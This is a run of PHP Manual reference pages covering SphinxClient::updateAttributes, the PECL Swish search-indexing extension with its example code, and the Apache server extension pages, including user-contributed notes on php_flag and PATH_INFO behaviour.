SphinxClient::setSortMode
SphinxClient::updateAttributes
SphinxClient


Update document attributes

SphinxClient::status
Swish
SphinxClient
PHP Manual

SphinxClient::updateAttributes

(PECL sphinx >= 0.1.0)

SphinxClient::updateAttributes — Update document attributes

Description

public int SphinxClient::updateAttributes ( string $index , array $attributes , array $values [, bool $mva = false ] )

Instantly updates given attribute values in given documents.

Parameters

index

Name of the index (or indexes) to be updated.

attributes

Array of attribute names, listing attributes that are updated.

values

Associative array containing document IDs as keys and array of attribute values as values.

Return Values

Returns number of actually updated documents (0 or more) on success, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::status
Swish
SphinxClient


Swish Indexing

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Swish Functions
    • Swish::__construct — Construct a Swish object
    • Swish::getMetaList — Get the list of meta entries for the index
    • Swish::getPropertyList — Get the list of properties for the index
    • Swish::prepare — Prepare a search query
    • Swish::query — Execute a query and return results object
    • SwishResult::getMetaList — Get a list of meta entries
    • SwishResult::stem — Stems the given word
    • SwishResults::getParsedWords — Get an array of parsed words
    • SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query
    • SwishResults::nextResult — Get the next search result
    • SwishResults::seekResult — Set current seek pointer to the given position
    • SwishSearch::execute — Execute the search and get the results
    • SwishSearch::resetLimit — Reset the search limits
    • SwishSearch::setLimit — Set the search limits
    • SwishSearch::setPhraseDelimiter — Set the phrase delimiter
    • SwishSearch::setSort — Set the sort order
    • SwishSearch::setStructure — Set the structure flag in the search object

User Contributed Notes

There are no user contributed notes for this page.
SphinxClient::updateAttributes
Introduction
Search Engine Extensions


Introduction

The swish extension provides the bindings for Swish-e API. Swish-e stands for "Simple Web Indexing System for Humans - Enhanced" and is an open source system for indexing and search. Swish-e itself is licensed under GPL license, but uses a clause that allows applications to link against the library if every copy of the combined work is accompanied by the URL to Swish-e source code. Here it is: » http://swish-e.org.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Swish
Installing/Configuring
Swish


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Swish


Requirements

PECL/swish requires PHP 5.1.3 or newer.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/swish.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Swish::META_TYPE_UNDEF (integer)
Swish::META_TYPE_STRING (integer)
Swish::META_TYPE_ULONG (integer)
Swish::META_TYPE_DATE (integer)
Swish::IN_FILE_BIT (integer)
Swish::IN_TITLE_BIT (integer)
Swish::IN_HEAD_BIT (integer)
Swish::IN_BODY_BIT (integer)
Swish::IN_COMMENTS_BIT (integer)
Swish::IN_HEADER_BIT (integer)
Swish::IN_EMPHASIZED_BIT (integer)
Swish::IN_META_BIT (integer)
Swish::IN_FILE (integer)
Swish::IN_TITLE (integer)
Swish::IN_HEAD (integer)
Swish::IN_BODY (integer)
Swish::IN_COMMENTS (integer)
Swish::IN_HEADER (integer)
Swish::IN_EMPHASIZED (integer)
Swish::IN_META (integer)
Swish::IN_ALL (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Swish


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Swish


Basic usage

Example #1 Basic search query

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("test OR text");

    echo "Found ", $results->hits, " results\n";
    while ($result = $results->nextResult()) {
        var_dump($result);
        break; //break after the first result
    }

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found 9 results
object(SwishResult)#3 (8) {
  ["swishreccount"]=>
  int(1)
  ["swishrank"]=>
  int(1000)
  ["swishfilenum"]=>
  int(10)
  ["swishdbfile"]=>
  string(13) "index.swish-e"
  ["swishdocpath"]=>
  string(23) "README.SUBMITTING_PATCH"
  ["swishtitle"]=>
  NULL
  ["swishdocsize"]=>
  int(4557)
  ["swishlastmodified"]=>
  int(1072136752)
}

User Contributed Notes

There are no user contributed notes for this page.
Examples
Swish Functions
Examples


Swish Functions

Table of Contents

  • Swish::__construct — Construct a Swish object
  • Swish::getMetaList — Get the list of meta entries for the index
  • Swish::getPropertyList — Get the list of properties for the index
  • Swish::prepare — Prepare a search query
  • Swish::query — Execute a query and return results object
  • SwishResult::getMetaList — Get a list of meta entries
  • SwishResult::stem — Stems the given word
  • SwishResults::getParsedWords — Get an array of parsed words
  • SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query
  • SwishResults::nextResult — Get the next search result
  • SwishResults::seekResult — Set current seek pointer to the given position
  • SwishSearch::execute — Execute the search and get the results
  • SwishSearch::resetLimit — Reset the search limits
  • SwishSearch::setLimit — Set the search limits
  • SwishSearch::setPhraseDelimiter — Set the phrase delimiter
  • SwishSearch::setSort — Set the sort order
  • SwishSearch::setStructure — Set the structure flag in the search object

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
Swish::__construct
Swish


Construct a Swish object

Swish Functions
Swish::getMetaList
Swish Functions
PHP Manual

Swish::__construct

(PECL swish >= 0.1.0)

Swish::__construct — Construct a Swish object

Description

void Swish::__construct ( string $index_names )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_names

The list of index files separated by spaces.

Return Values

No value is returned.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 A Swish::__construct() example

<?php

try {
    $swish = new Swish("index1 index2");
} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

foreach ($swish->indexes as $index) {
    var_dump($index["name"]);
    var_dump($index["headers"]["Total Words"]);
}

?>

The above example will output something similar to:

string(6) "index1"
int(1888)
string(6) "index2"
int(2429)

User Contributed Notes

There are no user contributed notes for this page.
Swish Functions
Swish::getMetaList
Swish Functions


Get the list of meta entries for the index

Swish::__construct
Swish::getPropertyList
Swish Functions
PHP Manual

Swish::getMetaList

(PECL swish >= 0.1.0)

Swish::getMetaList — Get the list of meta entries for the index

Description

array Swish::getMetaList ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index file.

Return Values

Returns an array of meta entries for the given index.

Examples

Example #1 Basic Swish::getMetaList() example

<?php

try {

    $swish = new Swish("index.swish-e");
    var_dump($swish->getMetaList("index.swish-e"));

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(3) {
    ["Name"]=>
    string(12) "swishdefault"
    ["Type"]=>
    int(0)
    ["ID"]=>
    int(1)
  }
}

User Contributed Notes

There are no user contributed notes for this page.
Swish::__construct
Swish::getPropertyList
Swish Functions


Get the list of properties for the index

Swish::getMetaList
Swish::prepare
Swish Functions
PHP Manual

Swish::getPropertyList

(PECL swish >= 0.1.0)

Swish::getPropertyList — Get the list of properties for the index

Description

array Swish::getPropertyList ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index file.

Return Values

Returns an array of properties for the given index.

Examples

Example #1 Basic Swish::getPropertyList() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $properties = $swish->getPropertyList("index.swish-e");
    foreach ($properties as $prop) {
        echo $prop["Name"],"\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

swishreccount
swishrank
swishfilenum
swishdbfile
swishdocpath
swishtitle
swishdocsize
swishlastmodified

User Contributed Notes

There are no user contributed notes for this page.
Swish::getMetaList
Swish::prepare
Swish Functions


Prepare a search query

Swish::getPropertyList
Swish::query
Swish Functions
PHP Manual

Swish::prepare

(PECL swish >= 0.1.0)

Swish::prepare — Prepare a search query

Description

object Swish::prepare ([ string $query ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Prepare and return a search object, which you can later use for unlimited number of queries.

Parameters

query

Optional query string. The query can be also set using SwishSearch::execute() method.

Return Values

Returns SwishSearch object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic Swish::prepare() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare("search query");
    $results = $search->execute();
    echo "Found: ", $results->hits, " hits\n";

    $results = $search->execute("new search");

    echo "Found: ", $results->hits, " hits\n";
} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found: 2 hits
Found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.
Swish::getPropertyList
Swish::query
Swish Functions


Execute a query and return results object

Swish::prepare
SwishResult::getMetaList
Swish Functions
PHP Manual

Swish::query

(PECL swish >= 0.1.0)

Swish::query — Execute a query and return results object

Description

object Swish::query ( string $query )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

A quick method to execute a search with default parameters.

Parameters

query

Query string.

Return Values

Returns SwishResults object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic Swish::query() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("test query");

    echo "Found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

Found: 1 hits

User Contributed Notes

There are no user contributed notes for this page.
Swish::prepare
SwishResult::getMetaList
Swish Functions


Get a list of meta entries

Swish::query
SwishResult::stem
Swish Functions
PHP Manual

SwishResult::getMetaList

(PECL swish >= 0.1.0)

SwishResult::getMetaList — Get a list of meta entries

Description

array SwishResult::getMetaList ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

Returns the same array as swish::getmetalist(), but uses the index file from the result handle.

User Contributed Notes

There are no user contributed notes for this page.
Swish::query
SwishResult::stem
Swish Functions


Stems the given word

SwishResult::getMetaList
SwishResults::getParsedWords
Swish Functions
PHP Manual

SwishResult::stem

(PECL swish >= 0.1.0)

SwishResult::stem — Stems the given word

Description

array SwishResult::stem ( string $word )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Stems the word based on the fuzzy mode used during indexing. Each result object is linked with its index, so the results are based on this index.

Parameters

word

The word to stem.

Return Values

Returns array containing the stemmed word variants (usually just one).

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishResult::stem() example

<?php

try {

    $swish = new Swish("ext/swish/tests/index.swish-e");
    $results = $swish->query("testing OR others");

    if ($result = $results->nextResult()) {
        var_dump($result->stem("testing")); //the results fully depend on the stemmer used in the index
        var_dump($result->stem("others"));
    }

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(1) {
  [0]=>
  string(4) "test"
}
array(1) {
  [0]=>
  string(5) "other"
}

User Contributed Notes

There are no user contributed notes for this page.
SwishResult::getMetaList
SwishResults::getParsedWords
Swish Functions


Get an array of parsed words

SwishResult::stem
SwishResults::getRemovedStopwords
Swish Functions
PHP Manual

SwishResults::getParsedWords

(PECL swish >= 0.1.0)

SwishResults::getParsedWords — Get an array of parsed words

Description

array SwishResults::getParsedWords ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

indexi_name

The name of the index used to initialize Swish object.

Return Values

An array of parsed words with stopwords removed. The list of parsed words may be useful for highlighting search terms in the results.

Examples

Example #1 Basic SwishResults::getParsedWords() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $results = $swish->query("'some characters' and numbers");

    var_dump($results->getParsedWords("index.swish-e"));
    var_dump($results->indexes[0]['parsed_words']); //same result in a different way

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

array(4) {
  [0]=>
  string(4) "some"
  [1]=>
  string(10) "characters"
  [2]=>
  string(3) "and"
  [3]=>
  string(7) "numbers"
}
array(4) {
  [0]=>
  string(4) "some"
  [1]=>
  string(10) "characters"
  [2]=>
  string(3) "and"
  [3]=>
  string(7) "numbers"
}

User Contributed Notes

There are no user contributed notes for this page.
SwishResult::stem
SwishResults::getRemovedStopwords
Swish Functions


Get an array of stopwords removed from the query

SwishResults::getParsedWords
SwishResults::nextResult
Swish Functions
PHP Manual

SwishResults::getRemovedStopwords

(PECL swish >= 0.1.0)

SwishResults::getRemovedStopwords — Get an array of stopwords removed from the query

Description

array SwishResults::getRemovedStopwords ( string $index_name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

index_name

The name of the index used to initialize Swish object.

Return Values

Returns array of stopwords removed from the query.

User Contributed Notes

There are no user contributed notes for this page.
SwishResults::getParsedWords
SwishResults::nextResult
Swish Functions


Get the next search result

SwishResults::getRemovedStopwords
SwishResults::seekResult
Swish Functions
PHP Manual

SwishResults::nextResult

(PECL swish >= 0.1.0)

SwishResults::nextResult — Get the next search result

Description

object SwishResults::nextResult ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Return Values

Returns the next SwishResult object in the result set or FALSE if there are no more results available.

Examples

Example #1 Basic SwishResults::nextResult() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("lost");
    while($result = $results->nextResult()) {
        /* do something with the result object */
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
SwishResults::getRemovedStopwords
SwishResults::seekResult
Swish Functions


Set current seek pointer to the given position

SwishResults::nextResult
SwishSearch::execute
Swish Functions
PHP Manual

SwishResults::seekResult

(PECL swish >= 0.1.0)

SwishResults::seekResult — Set current seek pointer to the given position

Description

int SwishResults::seekResult ( int $position )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

position

Zero-based position number. Cannot be less than zero.

Return Values

Returns new position value on success.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishResults::seekResult() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("lost");

    var_dump($results->seekResult(0)); //this will succeed
    var_dump($results->seekResult(100)); //this will fail

} catch (SwishException $e) {
    echo "Error: ", $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

int(0)
Error: No more results

User Contributed Notes

There are no user contributed notes for this page.
SwishResults::nextResult
SwishSearch::execute
Swish Functions


Execute the search and get the results

SwishResults::seekResult
SwishSearch::resetLimit
Swish Functions
PHP Manual

SwishSearch::execute

(PECL swish >= 0.1.0)

SwishSearch::execute — Execute the search and get the results

Description

object SwishSearch::execute ([ string $query ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Searches the index file(s) based on the parameters set in the search object.

Parameters

query

The query string is an optional parameter, it can be also set using Swish::prepare() method. The query string is preserved between executions, so you can set it once, but execute the search multiple times.

Return Values

Returns SwishResults object.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishSearch::execute() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("query");
    echo "First query found: ", $results->hits, " hits\n";

    $results = $search->execute("new OR query");
    echo "Second query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 2 hits
Second query found: 12 hits

User Contributed Notes

There are no user contributed notes for this page.
SwishResults::seekResult
SwishSearch::resetLimit
Swish Functions


Reset the search limits

SwishSearch::execute
SwishSearch::setLimit
Swish Functions
PHP Manual

SwishSearch::resetLimit

(PECL swish >= 0.1.0)

SwishSearch::resetLimit — Reset the search limits

Description

void SwishSearch::resetLimit ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Reset the search limits previous set by SwishSearch::setLimit.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::resetLimit() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $search->setLimit("swishdocsize", "3000", "6000"); //limit by document size, from 3000 to 6000 bytes
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $search->resetLimit();
    $results = $search->execute("time");
    echo "Third query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Second query found: 2 hits
Third query found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::execute
SwishSearch::setLimit
Swish Functions


Set the search limits

SwishSearch::resetLimit
SwishSearch::setPhraseDelimiter
Swish Functions
PHP Manual

SwishSearch::setLimit

(PECL swish >= 0.1.0)

SwishSearch::setLimit — Set the search limits

Description

void SwishSearch::setLimit ( string $property , string $low , string $high )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

property

Search result property name.

low

The lowest value of the property.

high

The highest value of the property.

Return Values

No value is returned.

Errors/Exceptions

Throws SwishException on error.

Examples

Example #1 Basic SwishSearch::setLimit() example

<?php
try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

    $search->setLimit("swishdocsize", "3000", "6000"); //limit by document size, from 3000 to 6000 bytes
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Hit #1 - 4261 bytes
Hit #2 - 37937 bytes
Hit #3 - 7126 bytes
Hit #4 - 15427 bytes
Hit #5 - 4768 bytes
Second query found: 2 hits
Hit #1 - 4261 bytes
Hit #2 - 4768 bytes

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::resetLimit
SwishSearch::setPhraseDelimiter
Swish Functions


Set the phrase delimiter

SwishSearch::setLimit
SwishSearch::setSort
Swish Functions
PHP Manual

SwishSearch::setPhraseDelimiter

(PECL swish >= 0.1.0)

SwishSearch::setPhraseDelimiter — Set the phrase delimiter

Description

void SwishSearch::setPhraseDelimiter ( string $delimiter )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

delimiter

Phrase delimiter character. The default delimiter is double-quotes.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setPhraseDelimiter() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute('"every time"'); //looking for "every time"
    echo "First query found: ", $results->hits, " hits\n";

    $search->setPhraseDelimiter("'");
    $results = $search->execute("'every time'"); //the same query, but using different delimiter
    echo "Second query found: ", $results->hits, " hits\n";

    $search->setPhraseDelimiter('"');
    $results = $search->execute("'every time'"); //looking for "every" and "time"
    echo "Third query found: ", $results->hits, " hits\n";

    //let's look at parsed words
    var_dump($results->getParsedWords("index.swish-e"));

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 1 hits
Second query found: 1 hits
Third query found: 2 hits
array(2) {
  [0]=>
  string(5) "every"
  [1]=>
  string(4) "time"
}

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::setLimit
SwishSearch::setSort
Swish Functions


Set the sort order

SwishSearch::setPhraseDelimiter
SwishSearch::setStructure
Swish Functions
PHP Manual

SwishSearch::setSort

(PECL swish >= 0.1.0)

SwishSearch::setSort — Set the sort order

Description

void SwishSearch::setSort ( string $sort )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

sort

Sort order of the results is a string containing name of a result property combined with sort direction ("asc" or "desc"). Examples: "swishrank desc", "swishdocpath asc", "swishtitle asc", "swishdocsize desc", "swishlastmodified desc" etc.

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setSort() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

    $search->setSort("swishdocsize desc"); //sort by document size
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $i = 0;
    while($result = $results->nextResult()) {
        echo "Hit #", ++$i, " - ", $result->swishdocsize, " bytes\n";
    }

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Hit #1 - 4261 bytes
Hit #2 - 37937 bytes
Hit #3 - 7126 bytes
Hit #4 - 15427 bytes
Hit #5 - 4768 bytes
Second query found: 5 hits
Hit #1 - 37937 bytes
Hit #2 - 15427 bytes
Hit #3 - 7126 bytes
Hit #4 - 4768 bytes
Hit #5 - 4261 bytes

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::setPhraseDelimiter
SwishSearch::setStructure
Swish Functions


Set the structure flag in the search object

SwishSearch::setSort
Server Specific Extensions
Swish Functions
PHP Manual

SwishSearch::setStructure

(PECL swish >= 0.1.0)

SwishSearch::setStructure — Set the structure flag in the search object

Description

void SwishSearch::setStructure ( int $structure )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

structure

The structure flag a bitmask is used to limit search to certain parts of HTML documents (like title, meta, body etc.). Its possible values are listed below. To combine several values use bitwise OR operator, see example below.

  • Swish::IN_FILE

  • Swish::IN_TITLE

  • Swish::IN_HEAD

  • Swish::IN_BODY

  • Swish::IN_COMMENTS

  • Swish::IN_HEADER

  • Swish::IN_EMPHASIZED

  • Swish::IN_META

Return Values

No value is returned.

Examples

Example #1 Basic SwishSearch::setStructure() example

<?php

try {

    $swish = new Swish("index.swish-e");
    $search = $swish->prepare();

    $results = $search->execute("time");
    echo "First query found: ", $results->hits, " hits\n";

    $search->setStructure(Swish::IN_TITLE|Swish::IN_HEAD); //search in title and head
    $results = $search->execute("time");
    echo "Second query found: ", $results->hits, " hits\n";

    $search->setStructure(Swish::IN_ALL); //search in whole document, the default value
    $results = $search->execute("time");
    echo "Third query found: ", $results->hits, " hits\n";

} catch (SwishException $e) {
    echo $e->getMessage(), "\n";
}

?>

The above example will output something similar to:

First query found: 5 hits
Second query found: 0 hits
Third query found: 5 hits

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::setSort
Server Specific Extensions
Swish Functions


Server Specific Extensions

  • Apache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Apache Functions
  • IIS — IIS Administration
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IIS Functions
  • NSAPI
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • NSAPI Functions

User Contributed Notes

There are no user contributed notes for this page.
SwishSearch::setStructure
Apache
Function Reference


Apache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Apache Functions
    • apache_child_terminate — Terminate apache process after this request
    • apache_get_modules — Get a list of loaded Apache modules
    • apache_get_version — Fetch Apache version
    • apache_getenv — Get an Apache subprocess_env variable
    • apache_lookup_uri — Perform a partial request for the specified URI and return all info about it
    • apache_note — Get and set apache request notes
    • apache_request_headers — Fetch all HTTP request headers
    • apache_reset_timeout — Reset the Apache write timer
    • apache_response_headers — Fetch all HTTP response headers
    • apache_setenv — Set an Apache subprocess_env variable
    • getallheaders — Fetch all HTTP request headers
    • virtual — Perform an Apache sub-request

User Contributed Notes

There are no user contributed notes for this page.
Server Specific Extensions
Introduction
Server Specific Extensions


Introduction

These functions are only available when running PHP as an Apache module.

Note: As of PHP 4.3.2, PATH_TRANSLATED is no longer set implicitly under the Apache 2 SAPI in contrast to the situation in Apache 1, where it's set to the same value as the SCRIPT_FILENAME server variable when it's not populated by Apache. This change was made to comply with the CGI specification that PATH_TRANSLATED should only exist if PATH_INFO is defined. Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.

User Contributed Notes

There are no user contributed notes for this page.
Apache
Installing/Configuring
Apache


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Apache


Installation

For PHP installation on Apache see the installation chapter.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of the Apache PHP module is affected by settings in php.ini. Configuration settings from php.ini may be overridden by php_flag settings in the server configuration file or local .htaccess files.

Example #1 Turning off PHP parsing for a directory using .htaccess

php_flag engine off

Apache configuration options
Name | Default | Changeable | Changelog
engine | "1" | PHP_INI_ALL | Available since PHP 4.0.5.
child_terminate | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
last_modified | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
xbithack | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

engine boolean

Turns PHP parsing on or off. This directive is really only useful in the Apache module version of PHP. It is used by sites that would like to turn PHP parsing on and off on a per-directory or per-virtual server basis. By putting engine off in the appropriate places in the httpd.conf file, PHP can be enabled or disabled.

child_terminate boolean

Specify whether PHP scripts may request child process termination on end of request, see also apache_child_terminate().

last_modified boolean

Send PHP scripts modification date as Last-Modified: header for this request.

xbithack boolean

Parse files with executable bit set as PHP regardless of their file ending.

User Contributed Notes

Anonymous 24-Mar-2011 02:53
An important note:

Even though you turn off the engine with:

php_flag engine off

Doing:

php_flag engine on

does NOT turn it on. You need to instead do:

php_flag engine 1
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Apache Functions
Apache


Apache Functions

Table of Contents

  • apache_child_terminate — Terminate apache process after this request
  • apache_get_modules — Get a list of loaded Apache modules
  • apache_get_version — Fetch Apache version
  • apache_getenv — Get an Apache subprocess_env variable
  • apache_lookup_uri — Perform a partial request for the specified URI and return all info about it
  • apache_note — Get and set apache request notes
  • apache_request_headers — Fetch all HTTP request headers
  • apache_reset_timeout — Reset the Apache write timer
  • apache_response_headers — Fetch all HTTP response headers
  • apache_setenv — Set an Apache subprocess_env variable
  • getallheaders — Fetch all HTTP request headers
  • virtual — Perform an Apache sub-request

User Contributed Notes

bgshea at gmail dot com 28-Nov-2005 07:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

    $req = $_SERVER['REQUEST_URI'];
    // Remove rubbish.
    $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
    if (strlen($newReq) < strlen($req))
    {
        header ('Location: '.$newReq);
        header ('HTTP/1.0 301 Moved Permanently');
        die;  // Don't send any more output.
    }
    unset($req);
    unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike 01-Nov-2005 03:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru 27-Aug-2004 07:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

